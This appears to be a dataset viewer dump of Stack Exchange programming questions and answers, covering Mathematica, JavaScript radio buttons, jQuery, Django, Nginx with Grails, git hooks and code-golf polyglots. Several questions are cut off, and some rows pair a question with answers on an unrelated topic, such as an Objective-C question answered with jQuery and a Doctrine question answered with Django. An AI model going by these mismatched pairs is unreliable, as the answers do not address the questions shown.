Pick[b, SparseArray[{x_, y_, z_, w_} /; x >= y && z >= w -> True,
Dimension... |
25,352 | I need to make a list of some elements from a 4D array with dimensions 4x4x4x4. I need to select the elements based on their position in the following way: name an element e(x,y,z,w); I need all the elements where x≥y and z≥w. This basically excludes all the upper triangular part of each submatrix and all the submatric... | 2013/05/16 | [
"https://mathematica.stackexchange.com/questions/25352",
"https://mathematica.stackexchange.com",
"https://mathematica.stackexchange.com/users/7473/"
] | From your definition:
>
> This basically excludes all the upper triangular part of each submatrix and all the submatrices in the upper triangular part of the tensor.
>
>
>
```
With[{lt = LowerTriangularize, ca = ConstantArray},
Pick[b, # * ca[#, {4, 4}] & @ lt @ ca[1, {4, 4}], 1]
] ~Flatten~ 3
``` | A flexible solution :
```
Reap[ReplacePart[
b,
({x_, y_, z_, w_} /; x >= y && z >= w) :> Sow[Extract[b, {x, y, z, w}]]
];][[2, 1]]
```
So far I know, `ReplacePart[]` is the only instruction that accepts a pattern of indexes as argument. That's the reason why I use `ReplacePart[]`. In fact we don't... |
25,352 | I need to make a list of some elements from a 4D array with dimensions 4x4x4x4. I need to select the elements based on their position in the following way: name an element e(x,y,z,w); I need all the elements where x≥y and z≥w. This basically excludes all the upper triangular part of each submatrix and all the submatric... | 2013/05/16 | [
"https://mathematica.stackexchange.com/questions/25352",
"https://mathematica.stackexchange.com",
"https://mathematica.stackexchange.com/users/7473/"
] | From your definition:
>
> This basically excludes all the upper triangular part of each submatrix and all the submatrices in the upper triangular part of the tensor.
>
>
>
```
With[{lt = LowerTriangularize, ca = ConstantArray},
Pick[b, # * ca[#, {4, 4}] & @ lt @ ca[1, {4, 4}], 1]
] ~Flatten~ 3
``` | Two `Pick`'s; first picks out matrices, second elements:
```
With[{s = ConstantArray[True, {3, 3}] // UpperTriangularize},
Map[
Pick[#, s] &,
Pick[m, s], {-3}]] // Flatten
```
`Pick` also works with `SparseArray` objects, so:
```
Pick[b, SparseArray[{x_, y_, z_, w_} /; x >= y && z >= w -> True,
Dimension... |
60,308,173 | I'm creating radio buttons and I'd like to be able to set the contents of `results` to the selected button. WITHOUT a submit button.
```
document.getElementById("results").innerHTML = NONE or A or B
```
I see a lot of posts on how to do this with a SUBMIT button but I want this to be automatically detected and have ... | 2020/02/19 | [
"https://Stackoverflow.com/questions/60308173",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11677431/"
] | Just set up `click` events for the buttons and populate the results area in the event callback. No JQuery or Bootstrap is required.
But, radio buttons need to have their `value` attribute configured so that clicking one has meaning over the others. Also, `autocomplete` is irrelevant with radio buttons.
```js
// Get a... | Here, I added a button so you can get the status when clicked. You should add a `value` attribute to your `input` fields.
```js
$(document).ready(function(){
$(".detect").click(function(){
var radioValue = $("input[name='test']:checked").val();
if(radioValue){
$(".results").text(radioValue);
}... |
60,308,173 | I'm creating radio buttons and I'd like to be able to set the contents of `results` to the selected button. WITHOUT a submit button.
```
document.getElementById("results").innerHTML = NONE or A or B
```
I see a lot of posts on how to do this with a SUBMIT button but I want this to be automatically detected and have ... | 2020/02/19 | [
"https://Stackoverflow.com/questions/60308173",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11677431/"
] | ```js
$( document ).ready(function() {
console.log( "ready!" );
$("input[name='test']").change(function(){
$("#results").text($("input[name='test']:checked").val());
});
});
```
```html
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https:/... | Here, I added a button so you can get the status when clicked. You should add a `value` attribute to your `input` fields.
```js
$(document).ready(function(){
$(".detect").click(function(){
var radioValue = $("input[name='test']:checked").val();
if(radioValue){
$(".results").text(radioValue);
}... |
60,308,173 | I'm creating radio buttons and I'd like to be able to set the contents of `results` to the selected button. WITHOUT a submit button.
```
document.getElementById("results").innerHTML = NONE or A or B
```
I see a lot of posts on how to do this with a SUBMIT button but I want this to be automatically detected and have ... | 2020/02/19 | [
"https://Stackoverflow.com/questions/60308173",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11677431/"
] | ```js
$( document ).ready(function() {
console.log( "ready!" );
$("input[name='test']").change(function(){
$("#results").text($("input[name='test']:checked").val());
});
});
```
```html
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https:/... | Just set up `click` events for the buttons and populate the results area in the event callback. No JQuery or Bootstrap is required.
But, radio buttons need to have their `value` attribute configured so that clicking one has meaning over the others. Also, `autocomplete` is irrelevant with radio buttons.
```js
// Get a... |
60,308,173 | I'm creating radio buttons and I'd like to be able to set the contents of `results` to the selected button. WITHOUT a submit button.
```
document.getElementById("results").innerHTML = NONE or A or B
```
I see a lot of posts on how to do this with a SUBMIT button but I want this to be automatically detected and have ... | 2020/02/19 | [
"https://Stackoverflow.com/questions/60308173",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11677431/"
] | Just set up `click` events for the buttons and populate the results area in the event callback. No JQuery or Bootstrap is required.
But, radio buttons need to have their `value` attribute configured so that clicking one has meaning over the others. Also, `autocomplete` is irrelevant with radio buttons.
```js
// Get a... | If you want to use the jQuery, you can take advantage of the delegate method.
<https://api.jquery.com/delegate/#delegate-selector-eventType-handler>
Using the delegate, you'll set just one handler that will deal with the value change inside the radio button group. This way the event will be handled even if the value ... |
60,308,173 | I'm creating radio buttons and I'd like to be able to set the contents of `results` to the selected button. WITHOUT a submit button.
```
document.getElementById("results").innerHTML = NONE or A or B
```
I see a lot of posts on how to do this with a SUBMIT button but I want this to be automatically detected and have ... | 2020/02/19 | [
"https://Stackoverflow.com/questions/60308173",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11677431/"
] | ```js
$( document ).ready(function() {
console.log( "ready!" );
$("input[name='test']").change(function(){
$("#results").text($("input[name='test']:checked").val());
});
});
```
```html
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https:/... | If you want to use the jQuery, you can take advantage of the delegate method.
<https://api.jquery.com/delegate/#delegate-selector-eventType-handler>
Using the delegate, you'll set just one handler that will deal with the value change inside the radio button group. This way the event will be handled even if the value ... |
275,888 | Use HttpWebRequest to download web pages without key sensitive issues | 2008/11/09 | [
"https://Stackoverflow.com/questions/275888",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/35917/"
] | [update: I don't know why, but both examples below now work fine! Originally I was also seeing a 403 on the page2 example. Maybe it was a server issue?]
First, `WebClient` is easier. Actually, [I've seen this before](http://groups.google.com/group/microsoft.public.dotnet.languages.csharp/browse_thread/thread/1393cb0a3... | I also got strange results ... First, the
>
> <http://en.wikipedia.org/wiki/>'Abadilah
>
>
>
didn't work and after some failed tries it started working.
The second url,
>
> <http://en.wikipedia.org/wiki/>'t\_Zand\_(Alphen-Chaam)
>
>
>
always failed for me...
The apostrophe seems to be the responsible for ... |
275,888 | Use HttpWebRequest to download web pages without key sensitive issues | 2008/11/09 | [
"https://Stackoverflow.com/questions/275888",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/35917/"
] | [update: I don't know why, but both examples below now work fine! Originally I was also seeing a 403 on the page2 example. Maybe it was a server issue?]
First, `WebClient` is easier. Actually, [I've seen this before](http://groups.google.com/group/microsoft.public.dotnet.languages.csharp/browse_thread/thread/1393cb0a3... | Try escaping the special characters using [Percent Encoding (paragraph 2.1)](http://www.ietf.org/rfc/rfc3986). For example, a single quote is represented by `%27` in the URL ([IRI](http://www.w3.org/International/articles/idn-and-iri/)). |
275,888 | Use HttpWebRequest to download web pages without key sensitive issues | 2008/11/09 | [
"https://Stackoverflow.com/questions/275888",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/35917/"
] | [update: I don't know why, but both examples below now work fine! Originally I was also seeing a 403 on the page2 example. Maybe it was a server issue?]
First, `WebClient` is easier. Actually, [I've seen this before](http://groups.google.com/group/microsoft.public.dotnet.languages.csharp/browse_thread/thread/1393cb0a3... | I'm sure the OP has this sorted by now but I've just run across the same kind of problem - intermittent 403's when downloading from wikipedia via a web client. Setting a user agent header sorts it out:
```
client.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;)");
``` |
50,578,211 | ```
- (void)viewDidLoad
{
[super viewDidLoad];
UIButton *button = [UIButton buttonWithType:UIButtonTypeCustom];
[button addTarget:self
action:@selector(playMethod)
forControlEvents:UIControlEventTouchUpInside];
[button setTitle:@"Play" forState:UIControlStateNormal];
[button setT... | 2018/05/29 | [
"https://Stackoverflow.com/questions/50578211",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9752053/"
] | Add a check to the click event handler to make sure that the button is not disabled.
```
$("body").on("click", ".btnDamageInvoiceShow", function (e) {
if (e.target.disabled) { // or this.disabled
return;
}
// ...
});
```
If it doesn't help, the button is actually not disabled and you need to che... | Try
```
$("body").on("click", ".btnDamageInvoiceShow:not(.disabled)", function (e) {
```
But, `disabled` button should never fire an event. Try checking the by HTML inspector if the button has got the `disabled` attribute or not. |
50,578,211 | ```
- (void)viewDidLoad
{
[super viewDidLoad];
UIButton *button = [UIButton buttonWithType:UIButtonTypeCustom];
[button addTarget:self
action:@selector(playMethod)
forControlEvents:UIControlEventTouchUpInside];
[button setTitle:@"Play" forState:UIControlStateNormal];
[button setT... | 2018/05/29 | [
"https://Stackoverflow.com/questions/50578211",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9752053/"
] | Try
```
$("body").on("click", ".btnDamageInvoiceShow:not(.disabled)", function (e) {
```
But, `disabled` button should never fire an event. Try checking the by HTML inspector if the button has got the `disabled` attribute or not. | @Kar, when you use checkbox event then you set
```
$("#btnDamageInvoiceShow").addClass("disabled");
$('#btnDamageInvoiceShow').prop("disabled", true);
```
but when you assign button click then you give
```
$("body").on("click", ".btnDamageInvoiceShow", function (e) {})
```
So, be clear the Name and ID of your... |
50,578,211 | ```
- (void)viewDidLoad
{
[super viewDidLoad];
UIButton *button = [UIButton buttonWithType:UIButtonTypeCustom];
[button addTarget:self
action:@selector(playMethod)
forControlEvents:UIControlEventTouchUpInside];
[button setTitle:@"Play" forState:UIControlStateNormal];
[button setT... | 2018/05/29 | [
"https://Stackoverflow.com/questions/50578211",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9752053/"
] | Add a check to the click event handler to make sure that the button is not disabled.
```
$("body").on("click", ".btnDamageInvoiceShow", function (e) {
if (e.target.disabled) { // or this.disabled
return;
}
// ...
});
```
If it doesn't help, the button is actually not disabled and you need to che... | @Kar, when you use checkbox event then you set
```
$("#btnDamageInvoiceShow").addClass("disabled");
$('#btnDamageInvoiceShow').prop("disabled", true);
```
but when you assign button click then you give
```
$("body").on("click", ".btnDamageInvoiceShow", function (e) {})
```
So, be clear the Name and ID of your... |
17,474,066 | I have an issue with DQL in Doctrine 2.
Subqueries seem to be unavailable in DQL, so I don't know how to transform :
```
SELECT DISTINCT a.ID_DOMAINE, L_DOMAINE, b.ID_SS_DOMAINE, L_SS_DOMAINE, c.ID_COMPETENCE, L_COMPETENCE
FROM ((qfq_prod.REF_DOMAINE a inner join qfq_prod.REF_SS_DOMAINE b on a.id_domaine = b.... | 2013/07/04 | [
"https://Stackoverflow.com/questions/17474066",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1842027/"
] | It was enough to simply rewrite the Footprint model definition like this:
```
class Footprint(models.Model)
date = models.DateTimeField(auto_now = True)
def save(self, *args, **kwargs):
if kwargs.has_key('update_fields'):
kwargs['update_fields'] = list(set(list(kwargs['update_fields']) + ['date']))
... | You can do this by changing your `.save()` method. Now, I now sure what it is that you want to do exactly, so I will leave you a template, since I believe wanting to have your own way of saving changes is indeed what do yo want.
In your class add this function definition:
```
def save(self, *args, **kwargs):
# Do... |
17,474,066 | I have an issue with DQL in Doctrine 2.
Subqueries seem to be unavailable in DQL, so I don't know how to transform :
```
SELECT DISTINCT a.ID_DOMAINE, L_DOMAINE, b.ID_SS_DOMAINE, L_SS_DOMAINE, c.ID_COMPETENCE, L_COMPETENCE
FROM ((qfq_prod.REF_DOMAINE a inner join qfq_prod.REF_SS_DOMAINE b on a.id_domaine = b.... | 2013/07/04 | [
"https://Stackoverflow.com/questions/17474066",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1842027/"
] | Instead of rewriting the `save()` method, the other possibility is to add all the fields with the `auto_now` option to the `update` parameter. Like this:
```
some_object.save(update_fields = ['updated_field', 'auto_now_date']
``` | You can do this by changing your `.save()` method. Now, I now sure what it is that you want to do exactly, so I will leave you a template, since I believe wanting to have your own way of saving changes is indeed what do yo want.
In your class add this function definition:
```
def save(self, *args, **kwargs):
# Do... |
2,619,822 | Consider the countable complement topology on a set $X$, defined as follows: $\mathcal{T}\_{\infty}=\{U|X\setminus U\text{ is infinite or empty or all of }X\}$.
Show that the closure of any uncountable subset of $X$ is all of $X$.
I really have no idea where to start here, and would appreciate guidance. I am in my fi... | 2018/01/24 | [
"https://math.stackexchange.com/questions/2619822",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/413546/"
] | The only closed sets are $X$ and sets that are at most countable. If $A$ is uncountable the only closed set containing $A$ can be $X$, so $A$ is dense. So sets are either closed (finite or countable) or dense (when uncountable). | Let $C$ be an uncountable subset of $X$ and $D$ its closure, $X-D$ is open, it implies that $X-D$ is $X-F$ where $F$ is countable or $X-D$ is empty. Suppose that $X-D=X-F$ where $F$ is countable. This implies that $C\cap (X-F)$ is not empty otherwise $C\subset F$, but $C$ is not countable. But since $C\subset D$, $C\ca... |
34,442,944 | Nginx terminates SSL for our app, communication between Nginx and app servers happens on port 8080, our app had no `grails.serverURL` set in config.
We had a regular redirect:
```
redirect uri: '/login'
```
But when accessed via HTTPS the redirect returned:
```
Location: https://domain.com:80/login
```
As a resu... | 2015/12/23 | [
"https://Stackoverflow.com/questions/34442944",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2811887/"
] | Removing the `X-Forwarded-Proto` header from `nginx.conf` or adding `X-Forwarded-Port` (**recommended**) resolved the issue. | Adding either of the following worked for me:
```
proxy_set_header X-Forwarded-Port $server_port;
```
or
```
proxy_set_header X-Forwarded-Host $host:$server_port;
``` |
1,704,360 | I'm looking to build and publish a latex document every time I advance the tip of a specific branch.
I'm looking at what hook I should be putting my build script and which conditions I need to check for. | 2009/11/09 | [
"https://Stackoverflow.com/questions/1704360",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5387/"
] | Probably a little late... but you can find out which branch was committed to by using
```
if [ `git rev-parse --abbrev-ref HEAD` = "master" ]; then
...
fi
```
in you script when you checked out the branch to commit in it. | If changes are coming in via a `push` to a remote, then on the remote server you'll want to use the `post-receive` hook (though if you use `pre-receive` then you can reject the push if, say, latex fails).
If you're using your local repository you should use `post-commit` (or `pre-commit` if you want to be able to reje... |
159,755 | Inspired by [I'm not the language you're looking for!](https://codegolf.stackexchange.com/questions/55960/im-not-the-language-youre-looking-for)
Challenge
=========
Choose two different programming languages, and write a program that prints the following line to stdout (or equivalent):
```
This program errors out in... | 2018/03/21 | [
"https://codegolf.stackexchange.com/questions/159755",
"https://codegolf.stackexchange.com",
"https://codegolf.stackexchange.com/users/78410/"
] | Java and C# ~~242~~ 235
=======================
```
/**\u002f/*/using System;/**/class G{public static void/**\u002fmain/*/Main/**/(String[]a){String s="This program errors out in ";/**\u002fSystem.out.print(s+"Java :P");/*/Console.Write(s+"C# :P")/**/;s=/**\u002f(1/0)+""/*/a[-1]/**/;}}
```
Abusing different escape ... | [Vyxal](https://github.com/Vyxal/Vyxal) / Javascript, 78 bytes
==============================================================
```
a=`This program errors out in `
0
0n/*_‛₴ŀ+,i#*/;console.log(a+'Javascript');g
```
[Try it Online in Vyxal!](https://lyxal.pythonanywhere.com?flags=&code=a%3D%60This%20program%20errors%20... |
159,755 | Inspired by [I'm not the language you're looking for!](https://codegolf.stackexchange.com/questions/55960/im-not-the-language-youre-looking-for)
Challenge
=========
Choose two different programming languages, and write a program that prints the following line to stdout (or equivalent):
```
This program errors out in... | 2018/03/21 | [
"https://codegolf.stackexchange.com/questions/159755",
"https://codegolf.stackexchange.com",
"https://codegolf.stackexchange.com/users/78410/"
] | Java 8 & [Whitespace](https://web.archive.org/web/20150618184706/http://compsoc.dur.ac.uk/whitespace/tutorial.php), ~~439~~ ~~431~~ ~~428~~ 408 bytes
=====================================================================================================================================================
```java
interface... | [05AB1E](https://github.com/Adriandmen/05AB1E) + [Groovy](http://groovy-lang.org), ~~80~~ ~~75~~ 79 bytes (99 bytes UTF-8)
==========================================================================================================================
```
//“€Œ‚ë›í€Ä€† 05AB1E :P“=}q
1/{println'this program errors out in Gro... |
159,755 | Inspired by [I'm not the language you're looking for!](https://codegolf.stackexchange.com/questions/55960/im-not-the-language-youre-looking-for)
Challenge
=========
Choose two different programming languages, and write a program that prints the following line to stdout (or equivalent):
```
This program errors out in... | 2018/03/21 | [
"https://codegolf.stackexchange.com/questions/159755",
"https://codegolf.stackexchange.com",
"https://codegolf.stackexchange.com/users/78410/"
] | Haskell, Python3, JavaScript(Node.js), 195 Bytes
================================================
```
j=1
y="This program errors out in "
--j//1;Error=print
--j;Error(y+"Python :P");eval("console.log(y+`JavaScript :P`);e");j//2;"""
1//0=do print (y++"Haskell :P");putChar$""!!1
main=1//0
--j //"""
```
Error Messages
... | [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell) v6 and PowerShell v2, 73 bytes
====================================================================================================
```powershell
"This errors out in PowerShell v$($PSVersionTable.PSVersion) :P"
1-shl1/0
```
[Try it online!](https:... |
159,755 | Inspired by [I'm not the language you're looking for!](https://codegolf.stackexchange.com/questions/55960/im-not-the-language-youre-looking-for)
Challenge
=========
Choose two different programming languages, and write a program that prints the following line to stdout (or equivalent):
```
This program errors out in... | 2018/03/21 | [
"https://codegolf.stackexchange.com/questions/159755",
"https://codegolf.stackexchange.com",
"https://codegolf.stackexchange.com/users/78410/"
] | [CBM BASIC](https://www.c64-wiki.com/wiki/BASIC#CBM_BASIC) and [6502 machine code](https://en.wikibooks.org/wiki/6502_Assembly) (C64), 142 144 bytes
====================================================================================================================================================
*Had to add 2 bytes a... | [Perl 5](https://www.perl.org/) and [Perl 6](https://github.com/nxadm/rakudo-pkg), 55 bytes
===========================================================================================
```perl
say('This program errors out in Perl ',5-~-1,' :P').a/0
```
[Try Perl 5 online!](https://tio.run/##K0gtyjH9/784sVJDPSQjs1ihoC... |
159,755 | Inspired by [I'm not the language you're looking for!](https://codegolf.stackexchange.com/questions/55960/im-not-the-language-youre-looking-for)
Challenge
=========
Choose two different programming languages, and write a program that prints the following line to stdout (or equivalent):
```
This program errors out in... | 2018/03/21 | [
"https://codegolf.stackexchange.com/questions/159755",
"https://codegolf.stackexchange.com",
"https://codegolf.stackexchange.com/users/78410/"
] | [Python 2](https://docs.python.org/2/) / [Python 3](https://docs.python.org/3/), 60 bytes
=========================================================================================
```python
print("This program errors out in Python %d :P"%(3/2*2))*1;a
```
* Python 2 got `NameError: name 'a' is not defined`
* Python 3... | C(gcc) on Linux/C(gcc) on Mac (160)
```
#include <sys/utsname.h>
main(){struct utsname n;float g;uname(&n);printf("This program errors out in C(gcc) on %s :P\n",n.sysname);g=1/(int)gamma(1);abort();}
```
Untested on Mac; basically, John Cook pointed out (in [his blog](https://www.johndcook.com/blog/2010/06/07/math-l... |
159,755 | Inspired by [I'm not the language you're looking for!](https://codegolf.stackexchange.com/questions/55960/im-not-the-language-youre-looking-for)
Challenge
=========
Choose two different programming languages, and write a program that prints the following line to stdout (or equivalent):
```
This program errors out in... | 2018/03/21 | [
"https://codegolf.stackexchange.com/questions/159755",
"https://codegolf.stackexchange.com",
"https://codegolf.stackexchange.com/users/78410/"
] | [Octave](https://www.gnu.org/software/octave/) and MATLAB, 67 bytes
===================================================================
```matlab
v=ver;disp(['This program errors out in ' v(1).Name ' :P']);v(--pi)
```
[Try it online!](https://tio.run/##y08uSSxL/f@/zLYstcg6JbO4QCNaPSQjs1ihoCg/vSgxVyG1qCi/qFghv7REITNP... | [Nim](http://nim-lang.org/) & [Python 2](https://docs.python.org/2/), 104 bytes
===============================================================================
```python
#[]#var s=""
s=("This program errors out in "#[
"Python"#]#&"Nim"&
" :P")#[
print s#]#
s.echo
s[42].echo
```
[Try it online in Nim!](https://tio.ru... |
159,755 | Inspired by [I'm not the language you're looking for!](https://codegolf.stackexchange.com/questions/55960/im-not-the-language-youre-looking-for)
Challenge
=========
Choose two different programming languages, and write a program that prints the following line to stdout (or equivalent):
```
This program errors out in... | 2018/03/21 | [
"https://codegolf.stackexchange.com/questions/159755",
"https://codegolf.stackexchange.com",
"https://codegolf.stackexchange.com/users/78410/"
] | Java 8 & [Whitespace](https://web.archive.org/web/20150618184706/http://compsoc.dur.ac.uk/whitespace/tutorial.php), ~~439~~ ~~431~~ ~~428~~ 408 bytes
=====================================================================================================================================================
```java
interface... | [C++ 14 (gcc) / C++ 17 (gcc)](https://gcc.gnu.org/), ~~107~~ 105 bytes
======================================================================
```cpp
#include<cstdio>
int*p,c=*"??/0"/20;int
main(){*p=printf("This program errors out in C++ 1%d :P",4+c)/c;}
```
[Try it online! (C++14)](https://tio.run/##Dc0xDoMgFIDh3VO... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.